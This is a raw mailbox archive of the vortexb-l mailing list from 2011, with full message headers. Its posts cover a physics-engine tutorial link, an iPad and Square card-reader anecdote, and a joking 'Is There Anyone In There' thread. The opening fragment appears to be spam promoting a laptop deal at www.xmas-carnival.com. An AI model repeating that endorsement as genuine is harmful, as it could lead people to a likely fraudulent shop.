play games. I especially like the backlit keyboard. if you want to get one.you can check it out . I shall take this opportunity to wish you a Blessed Christmas and a healthy and happy New Year. Regards, John Berry --001485f85e8a2fc95b04995269f0 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

hello
Just a couple of days ago we bought an=A0 Apple MacBook Pro MC0= 24LL/Afrom ! this website=A0=A0=A0 www.xmas-carnival.com
It is indeed a fantastic machine, though it = will take some time to get used to the new system.=A0 Wireles mouse and key= board. Nice design.
and I love it. I paid $1260US all charges included=A0=A0 the chose to use t= he Core 2 Duo but that's not all bad. This is a stable, cool running, c= apable processor.=A0=A0 I use this mostly for work where stability, battery= life, portability, and longevity are the most important things to me. I ra= rely play games. I especially like the backlit keyboard.=A0=A0 if you want = to get one.you can check it out .

I shall take this opportunity to wish you a Blessed Christmas and a heal= thy and happy New Year.
=A0
Regards,

John Berry

--001485f85e8a2fc95b04995269f0-- From vortexb-l-request@eskimo.com Fri Apr 8 06:53:43 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id p38DrfQ9014724; Fri, 8 Apr 2011 06:53:41 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id p38DrZrP014673; Fri, 8 Apr 2011 06:53:35 -0700 Resent-Date: Fri, 8 Apr 2011 06:53:35 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:date:message-id:subject:from:to :content-type; bh=5p7H1SACx8vEJJFeup50FcR5I5jM642TdnSP+CUKqVU=; b=i4MaNQup5VxARDztbgz2GsG+HC2G9Cuv6IVRQfGq6M4a4uuqSdw0+IcO5MyUYUXvvC w3c4uUFgxSkkW9y+RRZqFH8TkxO6cewSCpnEuRNlih3GdBGGPKpqwp3KFMNPDKBgVoH4 Im69JbffK7teLleRUOTZ0i+FjKHqTWifNGf6s= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=r8ZJXXRWX5O1rsf7aDtZN3Xdr7nPbDVfhNB3fAouCKIyOOrM17OL8Tz7ceKHLURixJ VnQW0wYZ71/b8ARf7nUapjtmXBKhvKBcjNGj0JpsVn7Yp2TjGAgypeRedyqD6Bp80Pad EM5QLL7NfBqN3fjHomXfNo+1SHSQ1Isov+l7A= MIME-Version: 1.0 Date: Fri, 8 Apr 2011 08:53:12 -0500 Message-ID: From: OrionWorks - Steven V Johnson To: vortexb-l@eskimo.com Content-Type: text/plain; charset=UTF-8 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4430 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:physics engines for dummies Status: O X-Status: X-Keywords: X-UID: 672 http://www.wildbunny.co.uk/blog/2011/04/06/physics-engines-for-dummies/ Good primer. Reveals computer algorithms used. Have fun messing around with interactive animated white balls! The interactive chaotic pendulum engine near the end of the article is my favorite. Teaches you a'lot about chaotic systems. Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Mon Apr 11 10:49:59 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id p3BHnuNH031653; Mon, 11 Apr 2011 10:49:56 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id p3BHnnbP031613; Mon, 11 Apr 2011 10:49:49 -0700 Resent-Date: Mon, 11 Apr 2011 10:49:49 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswGAOI+o03O+Ihr/2dsb2JhbACZA44TiHobuj+FbgQ X-IronPort-AV: E=Sophos;i="4.64,192,1301889600"; d="scan'208";a="105869061" Date: Mon, 11 Apr 2011 13:49:23 -0400 From: peatbog To: vortexb-l@eskimo.com Message-Id: <20110411134923.542ea156.peatbog@teksavvy.com> In-Reply-To: References: X-Mailer: Sylpheed 3.0.2 (GTK+ 2.20.1; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4431 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:A right wing conservative publication takes notice of Rossi Status: O X-Status: X-Keywords: X-UID: 673 > Looks like a super conservative xenophobic anti communist > right-wing tea party web site has taken notice of Rossi's work - > briefly that is. > > Scroll down to the eleventh paragraph: > > http://americandaily.com/index.php/article/4861 It seems like a middle of the road kind of place: intelligent, reasonable, good old-fashioned American values being expressed. It's places like the Washington Post and NY Times web sites that seem bizarre to me. From vortexb-l-request@eskimo.com Thu Jul 7 10:14:44 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id p67HEeIn016595; Thu, 7 Jul 2011 10:14:40 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id p67HEc8m016568; Thu, 7 Jul 2011 10:14:38 -0700 Resent-Date: Thu, 7 Jul 2011 10:14:38 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; bh=2egYtKKFTefBSNcJJpdEN3zyz6XkY6hS3ml5e4F9MQE=; b=L6U8BY1m1v94GXVlkdv5KZpG1WMe/wqdoMv6TTXiu/GrU8i0nx+GU7aE/s86ULAofb NOMdyZWn1Ho1g/QXjydDWtZd5/ZfWJAQ2/sc36VS2CqDjApnaStgkZfbIDHlPLmdU+bL Ul+kWI0aMGxQGmGceMqZVnTml67sk+E82KowU= MIME-Version: 1.0 Date: Thu, 7 Jul 2011 12:13:26 -0500 Message-ID: From: OrionWorks - Steven V Johnson To: vortexb-l@eskimo.com Content-Type: text/plain; charset=UTF-8 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4433 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:OT: Economic Disruptions of the Global and Domestic Kind Status: O X-Status: X-Keywords: X-UID: 674 In lieu of the potential disruptions to the global economy corporations like Defkalion might eventually unleash across the planet, I have a more personal story to tell of the economic disruptive kind. ...Another sign-of-the-times. A couple of weeks ago I bought an Apple i-Pad for, ahem... business reasons. My wife and I go to science fiction conventions, and we needed a practical way to accept real-time credit cards charges from customers interested in purchasing items from our inventory of goods. The i-Pad, i-Phone (as well as Android compatible devices can now accept Credit Card charges real-time with the use of a tiny little device called "The Square". See: https://squareup.com/ All one needs to do is set up an account with Square. They charge 2.75% based on the total amount charged to the customer. Moneys go directly to a designated bank account of your choice. The service is easy and a lot cheaper to use than previous Merchant Card services I had been forced to use for years. I would call the Square a major economic disruptor within the Merchant Credit Card Services Industry. Most of these other services charge a lot more than what the Square charges. The Square is ideal for small and medium sized mom & pop business enterprises, especially highly mobile ones. Meanwhile, my wife, who had until now always been low-tech, slow-tech, and no-tech, has become completely enamored with the i-Pad. She has finally learned to surf the web via Safari. He is perusing garden & art supply catalogues. She is even asking me to help set her up with her own eMail account. But that's not the worst of it. We subscribe to the Netflix service and I have installed iTunes and the Apple TV "black cube". Both services are accessible on the i-Pad screen via the household WiFi router. My wife is rapidly turning into an i-Pad video junkie. She is currently main-lining the entire science fiction series of FarScape... at least 3 episodic (fixes) per day. We are now fighting over who gets to use the i-Pad. Sigh... guess I'll have to get my own. A Pox on you, Mr. Jobs! Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Wed Oct 12 09:59:22 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id p9CGxJVL023938; Wed, 12 Oct 2011 09:59:19 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id p9CGxALw023808; Wed, 12 Oct 2011 09:59:10 -0700 Resent-Date: Wed, 12 Oct 2011 09:59:10 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; bh=1Uk3ONyroiRCndqCa/W9bj7rCfGeIQfDdwXXBYnAWDw=; b=Arm4ovmryeX7cV1PtzE5lVEtighSN/EO/jUmR9rVTumLpaII8mTrjLSZh61lpCNDD7 13i36jgAH3kTn4KrEvewh/I/sRKT7TvRzJSKCCSeZbmFdxxTMBJOIf6PGIYDRecP0f/V wOamyQeBdmpzfEry+5EFM766ciYQk2aqfcAfg= MIME-Version: 1.0 Date: Wed, 12 Oct 2011 12:56:58 -0400 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4434 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Is There Anyone In There Status: O X-Status: X-Keywords: X-UID: 675 Just nod if you can hear me. Is there anyone at home? T From vortexb-l-request@eskimo.com Wed Oct 12 10:01:28 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id p9CH1PvJ026209; Wed, 12 Oct 2011 10:01:26 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id p9CH1PfI026200; Wed, 12 Oct 2011 10:01:25 -0700 Resent-Date: Wed, 12 Oct 2011 10:01:25 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=xR7VJfEBifJsLu9YVezN2KJIVI4m8ascFEdA4p1MYDc=; b=aqnmzt8dLpH/mllrAigI0wJh0RicFzm0Yj3voo/ixRP8rRgBOBgkjAmiwtHBzR9oil CExiTVRBRg5/VYZHTyKD8xyI4DqInFqlpk+Ut/PM3a4HagkIqN9JE76LVpyRV7eD9SWB GRzUEWbGtxmT6RgFkYIbAQFY/YdQe4cW/XPgI= MIME-Version: 1.0 In-Reply-To: References: Date: Wed, 12 Oct 2011 19:59:12 +0300 Message-ID: Subject: Re: [VoB]:Is There Anyone In There From: Esa Ruoho To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015174c0faa82215c04af1cf1ce Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4435 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 676 --0015174c0faa82215c04af1cf1ce Content-Type: text/plain; charset=ISO-8859-1 i can hear you On Wed, Oct 12, 2011 at 7:56 PM, Terry Blanton wrote: > Just nod if you can hear me. Is there anyone at home? > > T > > --0015174c0faa82215c04af1cf1ce Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable i can hear you

On Wed, Oct 12, 2011 at 7:= 56 PM, Terry Blanton <hohlraum@gmail.com> wrote:
Just nod if you can hear me. =A0Is there anyone at =A0home?

T


--0015174c0faa82215c04af1cf1ce-- From vortexb-l-request@eskimo.com Wed Oct 12 10:20:21 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id p9CHKJcu014329; Wed, 12 Oct 2011 10:20:19 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id p9CHK96J014261; Wed, 12 Oct 2011 10:20:09 -0700 Resent-Date: Wed, 12 Oct 2011 10:20:09 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 12 Oct 2011 10:17:28 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Is There Anyone In There Message-ID: <20111012171728.GA18938@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Bradley, shotguns, U.S. Border Patrol surveillance area, Dassault, frigates User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4436 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 677 As the smoke cleared, Esa Ruoho mounted the barricade and roared out: > i can hear you > > On Wed, Oct 12, 2011 at 7:56 PM, Terry Blanton wrote: > > > Just nod if you can hear me. Is there anyone at home? I can hear -- here in Vortex-L Purgatory. Which apparently still exists. for The Banned... ;P -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Wed Oct 12 10:41:56 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id p9CHfrLW020661; Wed, 12 Oct 2011 10:41:53 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id p9CHfr3t020650; Wed, 12 Oct 2011 10:41:53 -0700 Resent-Date: Wed, 12 Oct 2011 10:41:53 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=3kn4snR/2TdwuYXvh+wm0CPnSGzQFWY7ukd303aPFv0= c=1 sm=1 a=yNUAG1E1fBIA:10 a=yUnIBFQkZM0A:10 a=kj9zAlcOel0A:10 a=E/8x55P6Hk6HH+Wnhjz+Jg==:17 a=pGLkceISAAAA:8 a=yTIk75XiAAAA:8 a=tKDN2MycrdrRQWo_ilAA:9 a=CjuIK1q_8ugA:10 a=MSl-tDqOz04A:10 a=8PGfyiCYVrkA:10 a=E/8x55P6Hk6HH+Wnhjz+Jg==:117 From: "Mark Iverson-ZeroPoint" To: References: In-Reply-To: Subject: RE: [VoB]:Is There Anyone In There Date: Wed, 12 Oct 2011 10:39:42 -0700 Message-ID: <007901cc8905$ed7ee560$c87cb020$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Content-Language: en-us Thread-Index: AcyJAAJjY7oeUuF8Rceq69kweJPjEgABZBHg Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4437 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 678 All pink here! -----Original Message----- From: Terry Blanton [mailto:hohlraum@gmail.com] Sent: Wednesday, October 12, 2011 9:57 AM To: vortexb-l@eskimo.com Subject: [VoB]:Is There Anyone In There Just nod if you can hear me. Is there anyone at home? T From vortexb-l-request@eskimo.com Wed Oct 12 10:42:24 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id p9CHgMcs027605; Wed, 12 Oct 2011 10:42:22 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id p9CHgLHF027595; Wed, 12 Oct 2011 10:42:21 -0700 Resent-Date: Wed, 12 Oct 2011 10:42:21 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=Z7WPLDu3gC458yL+0wE7bA9g2IEIWkRl8yMkTGEPaco=; b=R8T0hJKVtoEzYCklwKV3PTEEaxOhwDWejIbLA/lcgFXFh657CAI3WVxI4xG1VUmDxc sCnONPvOG494uJ38kUEAdHOpf2zg/LQrBkjt+RjpLg+IdSPBMJMnFnX0bDKoorQuLsFs mzXXN7a2QKdhjvw3Q7Sn1ycFstWAyo6/ifxB4= MIME-Version: 1.0 In-Reply-To: References: Date: Wed, 12 Oct 2011 13:40:10 -0400 Message-ID: Subject: Re: [VoB]:Is There Anyone In There From: albedo5 To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=bcaec51b1951fe529804af1d8342 Resent-Message-ID: <9EndeB.A.-uG.9FdlOB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4438 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 679 --bcaec51b1951fe529804af1d8342 Content-Type: text/plain; charset=ISO-8859-1 I have become comfortably numb. :) On Wed, Oct 12, 2011 at 12:56 PM, Terry Blanton wrote: > Just nod if you can hear me. Is there anyone at home? > > T > > --bcaec51b1951fe529804af1d8342 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable I have become comfortably numb. =A0:)

On = Wed, Oct 12, 2011 at 12:56 PM, Terry Blanton <hohlraum@gmail.com> wrote:
=
Just nod if you can hear me. =A0Is there anyone at =A0home?

T


--bcaec51b1951fe529804af1d8342-- From vortexb-l-request@eskimo.com Wed Oct 12 10:43:30 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id p9CHhQJs028652; Wed, 12 Oct 2011 10:43:26 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id p9CHhQkD028645; Wed, 12 Oct 2011 10:43:26 -0700 Resent-Date: Wed, 12 Oct 2011 10:43:26 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=elO/5gUnI9Y5RcuI/6IcC7VtaR2vsymyC2K9vPJMUBM=; b=en5SGt6sPCWkGw4ClbEFUNo2gZbcdFhpo0ommOgk+2yM67CKie4V40c+yEZJba0QzA Hn4CPot7pCbccga3yeMrsgnZfXa9ySlr1zuaVfSMWtAqHsLT+glHD58134X7AYAkir1i WUDmgeikdNhz6lTKuCwn8TgRPOPnB8BC3L1Ps= MIME-Version: 1.0 In-Reply-To: References: Date: Wed, 12 Oct 2011 10:41:14 -0700 Message-ID: Subject: Re: [VoB]:Is There Anyone In There From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4439 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 680 Are you having a fever? On Wed, Oct 12, 2011 at 9:56 AM, Terry Blanton wrote: > Just nod if you can hear me. =A0Is there anyone at =A0home? > > T > > From vortexb-l-request@eskimo.com Wed Oct 12 10:45:12 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id p9CHj4HI031070; Wed, 12 Oct 2011 10:45:10 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id p9CHj4EF031053; Wed, 12 Oct 2011 10:45:04 -0700 Resent-Date: Wed, 12 Oct 2011 10:45:04 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: From: "Nick Palmer" To: References: In-Reply-To: Subject: Re: [VoB]:Is There Anyone In There Date: Wed, 12 Oct 2011 18:42:39 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6002.18197 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6002.18463 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4440 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 681 Hi Terry, I'm "here" but it's only because Bill B or Eskimo keeps on unsubscribing me from the proper Vort collective (I can't afford to contribute to Bill's costs at the moment). Nick Palmer On the side of the Planet - and the people - because they're worth it Blogspot - Sustainability and stuff according to Nick Palmer http://nickpalmer.blogspot.com From vortexb-l-request@eskimo.com Wed Oct 12 12:13:44 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id p9CJDgf8018399; Wed, 12 Oct 2011 12:13:42 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id p9CJDgJu018390; Wed, 12 Oct 2011 12:13:42 -0700 Resent-Date: Wed, 12 Oct 2011 12:13:42 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=ak/eAha6iEQ8zh24gwYMKEKSp5e52SiHFpJ7U4ZZPFo=; b=NOy1HvXDq6dVd2QGP38HixtwSrQNFyAsqpvzGY5mIEK5hrwmgEOtQCMqHhWg/4fI0Q J2CNt6T+UX10KU/qBumHbHatFQ8jTDKnip5i/c9wrL1uhAOkaSH/PJINKcLxq81lIhN3 JGjO59vtxNp+t275xWe51HFyddtorfskdFBWs= MIME-Version: 1.0 In-Reply-To: References: Date: Wed, 12 Oct 2011 15:11:29 -0400 Message-ID: Subject: Re: [VoB]:Is There Anyone In There From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <3lQKRB.A.QfE.lbelOB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4441 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 682 On Wed, Oct 12, 2011 at 1:40 PM, albedo5 wrote: > I have become comfortably numb. =A0:) Hey, you! From vortexb-l-request@eskimo.com Wed Oct 12 12:14:45 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id p9CJEfI8018790; Wed, 12 Oct 2011 12:14:41 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id p9CJEf7W018771; Wed, 12 Oct 2011 12:14:41 -0700 Resent-Date: Wed, 12 Oct 2011 12:14:41 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=JxcWCrLm03rY1Ys1nzqGiabihJBKBzjPpiW2BGLY6Ow=; b=wV9lBJItCYIa87PdG4Rc2Npxo9a2dLeX6OnHUgvIUgH9PtSdWYi9Mb/ESFKgmZV3nd SZxRX3xf51Xo5QByafmLG1OiHwLbtDwju33j/mqF1KvqiBzpACVElNMvBWU+3Qm9RQlg fYK05f4Ur8yCVx1YoZFCdjLYqntCs9UZILZJw= MIME-Version: 1.0 In-Reply-To: References: Date: Wed, 12 Oct 2011 15:12:28 -0400 Message-ID: Subject: Re: [VoB]:Is There Anyone In There From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4442 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 683 On Wed, Oct 12, 2011 at 1:42 PM, Nick Palmer wrote: > Hi Terry, I'm "here" but it's only because Bill B or Eskimo keeps on > unsubscribing me from the proper Vort collective (I can't afford to > contribute to Bill's costs at the moment). The 'unsubscribe' bug is a known gremlin which strikes us all occasionally and has nothing to do with paying your dues. It happens to me and I simply resubscribe and carry on. T From vortexb-l-request@eskimo.com Wed Oct 12 12:24:22 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id p9CJOJsD018315; Wed, 12 Oct 2011 12:24:19 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id p9CJOIKt018296; Wed, 12 Oct 2011 12:24:18 -0700 Resent-Date: Wed, 12 Oct 2011 12:24:18 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=AjbsyqupzIDUyjUIxxEk6lI+mjk8JmC8YnizfismEtQ=; b=pJnlHongKYqxcIq9Mf58N/8rrT4eFR/IQe7xk/0kTyeKLdfyZ2kTw3amMnJmn9i8jr KKDauEHYSrQGNbLCtcPsfdHLuL0LrAnvNAKyfh1cSldSEJ16z4vu72CUP38S3woKH9Jz u2ymiYQXGpnwdefQusyRJDEtSK3sdeqikCahk= MIME-Version: 1.0 In-Reply-To: References: Date: Wed, 12 Oct 2011 12:22:05 -0700 Message-ID: Subject: Re: [VoB]:Is There Anyone In There From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <4GAdN.A.wdE.ilelOB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4443 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 684 there... are dues? I haven't paid any dues. I'd love to, but I've never been asked. Alexander Hollins On Wed, Oct 12, 2011 at 12:12 PM, Terry Blanton wrote: > On Wed, Oct 12, 2011 at 1:42 PM, Nick Palmer wro= te: >> Hi Terry, I'm "here" but it's only because Bill B or Eskimo keeps on >> unsubscribing me from the proper Vort collective (I can't afford to >> contribute to Bill's costs at the moment). > > The 'unsubscribe' bug is a known gremlin which strikes us all > occasionally and has nothing to do with paying your dues. =A0It happens > to me and I simply resubscribe and carry on. > > T > > From vortexb-l-request@eskimo.com Wed Oct 12 12:43:09 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id p9CJh66i026657; Wed, 12 Oct 2011 12:43:07 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id p9CJh6B3026648; Wed, 12 Oct 2011 12:43:06 -0700 Resent-Date: Wed, 12 Oct 2011 12:43:06 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to 